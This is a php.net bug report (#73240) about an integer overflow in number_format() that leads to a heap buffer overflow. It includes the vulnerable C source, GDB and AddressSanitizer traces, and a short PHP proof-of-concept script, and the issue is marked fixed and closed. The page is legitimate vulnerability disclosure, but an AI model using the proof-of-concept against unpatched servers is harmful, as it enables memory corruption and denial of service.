php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73240 Write out of bounds at number_format
Submitted: 2016-10-04 13:23 UTC Modified: 2017-02-13 01:11 UTC
From: fernando at null-life dot com Assigned: stas (profile)
Status: Closed Package: Strings related
PHP Version: 5.6.26 OS: *
Private report: No CVE-ID: None
 [2016-10-04 13:23 UTC] fernando at null-life dot com
Description:
------------
When decimals parameter and dec_point length parameter are equal or close to 0x7fffffff,  integer overflow occurs in reslen variable, and causes a write heap overflow

Source code:
https://github.com/php/php-src/blob/master/ext/standard/math.c#L1107

PHPAPI zend_string *_php_math_number_format_ex(double d, int dec, char *dec_point,
		size_t dec_point_len, char *thousand_sep, size_t thousand_sep_len)
{
	zend_string *res;
	zend_string *tmpbuf;
	char *s, *t;  /* source, target */
	char *dp;
	int integral;
	int reslen = 0;
	int count = 0;
	int is_negative=0;

	if (d < 0) {
		is_negative = 1;
		d = -d;
	}

	dec = MAX(0, dec);
	d = _php_math_round(d, dec, PHP_ROUND_HALF_UP);
	tmpbuf = strpprintf(0, "%.*F", dec, d);
	if (tmpbuf == NULL) {
		return NULL;
	} else if (!isdigit((int)ZSTR_VAL(tmpbuf)[0])) {
		return tmpbuf;
	}

	/* find decimal point, if expected */
	if (dec) {
		dp = strpbrk(ZSTR_VAL(tmpbuf), ".,");
	} else {
		dp = NULL;
	}

	/* calculate the length of the return buffer */
	if (dp) {
		integral = (int)(dp - ZSTR_VAL(tmpbuf));
	} else {
		/* no decimal point was found */
		integral = (int)ZSTR_LEN(tmpbuf);
	}

	/* allow for thousand separators */
	if (thousand_sep) {
		integral += (int)(thousand_sep_len * ((integral-1) / 3));
	}

	reslen = integral;

	if (dec) {
		reslen += dec;                               // Integer overflow

		if (dec_point) {
			reslen += (int)dec_point_len;
		}
	}

	/* add a byte for minus sign */
	if (is_negative) {
		reslen++;
	}
	res = zend_string_alloc(reslen, 0);

	s = ZSTR_VAL(tmpbuf) + ZSTR_LEN(tmpbuf) - 1;
	t = ZSTR_VAL(res) + reslen;
	*t-- = '\0';

	/* copy the decimal places.
	 * Take care, as the sprintf implementation may return less places than
	 * we requested due to internal buffer limitations */
	if (dec) {
		int declen = (int)(dp ? s - dp : 0);
		int topad = dec > declen ? dec - declen : 0;

		/* pad with '0's */
		while (topad--) {
			*t-- = '0';                  // NULL write out of bounds
		}

...


GDB output:

USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 gdb -q --args /home/operac/build4/bin/php -n poc.php
...
gdb-peda$ b math.c:1168
Breakpoint 2 at 0x1497c0c: file /home/operac/build4/php-src/ext/standard/math.c, line 1168.
gdb-peda$ r
Starting program: /home/operac/build4/bin/php -n poc.php
...
Breakpoint 2, _php_math_number_format_ex (d=<optimized out>, dec=0x7fffffff, dec_point=0x7fff6f3c1818 '/' <repeats 200 times>..., dec_point_len=0x7fffffff, thousand_sep=0x60300006e758 ",", thousand_sep_len=0x1)
    at /home/operac/build4/php-src/ext/standard/math.c:1168
1168                    reslen += dec;
gdb-peda$ p reslen
$1 = 0x5
gdb-peda$ p dec
$2 = 0x7fffffff
gdb-peda$ p/d reslen+dec
$4 = -2147483644              /* Integer overflow */
gdb-peda$ b math.c:1176
Breakpoint 3 at 0x1497460: file /home/operac/build4/php-src/ext/standard/math.c, line 1176.
gdb-peda$ c
Continuing.
...
Breakpoint 3, _php_math_number_format_ex (d=<optimized out>, dec=0x7fffffff, dec_point=0x7fff6f3c1818 '/' <repeats 200 times>..., dec_point_len=0x7fffffff, thousand_sep=0x60300006e758 ",", thousand_sep_len=0x1)
    at /home/operac/build4/php-src/ext/standard/math.c:1177
1177                    reslen++;
gdb-peda$ p reslen
$5 = 0x3                  /* reslen decreases*/
gdb-peda$ b math.c:1193
Breakpoint 4 at 0x1497c5b: file /home/operac/build4/php-src/ext/standard/math.c, line 1193.
gdb-peda$ c
...
Breakpoint 4, _php_math_number_format_ex (d=<optimized out>, dec=<optimized out>, dec_point=0x7fff6f3c1818 '/' <repeats 200 times>..., dec_point_len=0x7fffffff, thousand_sep=0x60300006e758 ",", thousand_sep_len=0x1)
    at /home/operac/build4/php-src/ext/standard/math.c:1193
1193                    while (topad--) {
1194                            *t-- = '0';
1195                    }
gdb-peda$ p/d topad
$6 = 2147483329           /* NULL write out of bounds */




Test script:
---------------
<?php

ini_set('memory_limit', -1);

$v2=0x7fffffff;
$v3=str_repeat("/", 0x7fffffff);
number_format(1234.56789, $v2, $v3, ",");


Expected result:
----------------
No crash

Actual result:
--------------
==7315==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300006e6af at pc 0x00000149844b bp 0x7ffffc2814a0 sp 0x7ffffc281490
WRITE of size 1 at 0x60300006e6af thread T0
    #0 0x149844a in _php_math_number_format_ex /home/operac/build4/php-src/ext/standard/math.c:1194
    #1 0x14990e4 in zif_number_format /home/operac/build4/php-src/ext/standard/math.c:1268
    #2 0x1d8c586 in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/build4/php-src/Zend/zend_vm_execute.h:586
    #3 0x1b9ff15 in execute_ex /home/operac/build4/php-src/Zend/zend_vm_execute.h:414
    #4 0x1e4e7a8 in zend_execute /home/operac/build4/php-src/Zend/zend_vm_execute.h:458
    #5 0x199ce7c in zend_execute_scripts /home/operac/build4/php-src/Zend/zend.c:1427
    #6 0x170fda7 in php_execute_script /home/operac/build4/php-src/main/main.c:2494
    #7 0x1e56a32 in do_cli /home/operac/build4/php-src/sapi/cli/php_cli.c:974
    #8 0x46e424 in main /home/operac/build4/php-src/sapi/cli/php_cli.c:1344
    #9 0x7f50f4cc882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #10 0x46eaf8 in _start (/home/operac/build4/bin/php+0x46eaf8)

0x60300006e6af is located 1 bytes to the left of 32-byte region [0x60300006e6b0,0x60300006e6d0)
allocated by thread T0 here:
    #0 0x7f50f727b602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x1860ec0 in __zend_malloc /home/operac/build4/php-src/Zend/zend_alloc.c:2866
    #2 0x149748c in zend_string_alloc /home/operac/build4/php-src/Zend/zend_string.h:121
    #3 0x149748c in _php_math_number_format_ex /home/operac/build4/php-src/ext/standard/math.c:1179
    #4 0x14990e4 in zif_number_format /home/operac/build4/php-src/ext/standard/math.c:1268
    #5 0x1d8c586 in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/build4/php-src/Zend/zend_vm_execute.h:586
    #6 0x1b9ff15 in execute_ex /home/operac/build4/php-src/Zend/zend_vm_execute.h:414
    #7 0x1e4e7a8 in zend_execute /home/operac/build4/php-src/Zend/zend_vm_execute.h:458
    #8 0x199ce7c in zend_execute_scripts /home/operac/build4/php-src/Zend/zend.c:1427
    #9 0x170fda7 in php_execute_script /home/operac/build4/php-src/main/main.c:2494
    #10 0x1e56a32 in do_cli /home/operac/build4/php-src/sapi/cli/php_cli.c:974
    #11 0x46e424 in main /home/operac/build4/php-src/sapi/cli/php_cli.c:1344
    #12 0x7f50f4cc882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/operac/build4/php-src/ext/standard/math.c:1194 _php_math_number_format_ex
...


Patches

Add a Patch

Pull Requests

Pull requests:

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-10-11 06:50 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-10-11 06:50 UTC] stas@php.net
The fix is in security repo as 3b5262ec4c9a6f985f8ff1fb4a7bed18f1b48f75 and in https://gist.github.com/196d7aee3ac1b3e8bb29305616914c7b
 [2016-10-11 06:50 UTC] stas@php.net
please verify
 [2016-10-11 23:40 UTC] stas@php.net
-PHP Version: 7.0.11 +PHP Version: 5.6.26
 [2016-10-11 23:48 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-10-11 23:48 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2017-02-13 01:11 UTC] stas@php.net
-Type: Security +Type: Bug
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Mar 19 05:01:29 2024 UTC